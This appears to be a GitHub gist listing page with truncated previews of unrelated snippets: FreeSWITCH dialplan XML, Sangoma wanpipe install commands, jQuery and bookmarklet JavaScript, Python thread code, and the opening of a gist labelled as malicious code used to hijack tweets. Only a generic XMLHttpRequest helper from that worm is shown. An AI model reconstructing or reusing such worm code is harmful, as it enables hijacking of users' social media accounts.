Skip to content

Instantly share code, notes, and snippets.

<?xml version="1.0" encoding="utf-8"?>
<include>
<context name="default">
<extension name="localxtens">
<!-- case SIP or E1 to 88988[00-49] route to equivalent SIP extension -->
<condition field="destination_number" expression="^(0?9?88988[0-4][0-9])$">
<action application="bridge" data="${sofia_contact(internal/$1@$${domain})}"/>
</condition>
## Get the wanpipe's source
$ wget ftp://ftp.sangoma.com/linux/current_wanpipe/wanpipe-3.5.8.tgz
$ tar xzvf wanpipe-3.5.8.tgz
$ cd wanpipe-3.5.8
### Install Sangoma Wanpipe drivers with TDM API support.
$ ./Setup install --protocol=AFT_TE1 –silent
### Get the latest LibPRI release and build it
$ cd ..
## Get the source
$ wget ftp://ftp.sangoma.com/linux/current_wanpipe/wanpipe-3.5.8.tgz
$ tar xzvf wanpipe-3.5.8.tgz
$ cd wanpipe-3.5.8
### Install Sangoma Wanpipe drivers with TDM API support.
$ ./Setup install --protocol=AFT_TE1 –silent
### Get the latest LibPRI release and build it
$ cd ..
$ apt-get install build-essential libncursesw5-dev libreadline5-dev libssl-dev libgdbm-dev libbz2-dev libc6-dev libsqlite3-dev tk-dev g++ gcc python-dev git-core linux-headers-`uname -r` udev libnewt-dev libssl-dev libncurses5-dev udev lksctp-tools libsctp-dev bison flex automake1.9 libtool libncurses5-dev libssl-dev libspeex-dev
$ wget ftp://ftp.sangoma.com/linux/current_wanpipe/wanpipe-3.5.8.tgz
$ tar xvzf wanpipe-3.5.8.tgz
$ cd wanpipe-3.5.8/
$ ./Setup install --protocol=AFT_TE1 --silent
Enabling the AFT TE1 Support
----------------------------------------------------------
WANPIPE v3.5.8 Installation Script
Copyright (c) 1995-2009, Sangoma Technologies Inc.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>jquery-Test</title>
</head>
<body>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script type="text/javascript" src="http://js-hotkeys.googlecode.com/files/jquery.hotkeys-0.7.9.min.js"></script>
(function() {
var el=document.createElement('div'),
b=document.getElementsByTagName('body')[0];
otherlib=false,
msg='';
el.style.position='fixed';
el.style.height='32px';
el.style.width='220px';
el.style.marginLeft='-110px';
el.style.top='0';
import subprocess, time
import threading
from threading import Thread
process = None
class SThread (Thread):
"""Thread class with a stop() method. The thread itself has to check
regularly for the stopped() condition."""
@zuriby
zuriby / gist:93927
Created April 12, 2009 09:10
this is the malicious code used to hijack tweets
function XHConn()
{
var xmlhttp, bComplete = false;
try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
catch (e) { try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
catch (e) { try { xmlhttp = new XMLHttpRequest(); }
catch (e) { xmlhttp = false; }}}
if (!xmlhttp) return null;
this.connect = function(sURL, sMethod, sVars, fnDone)
{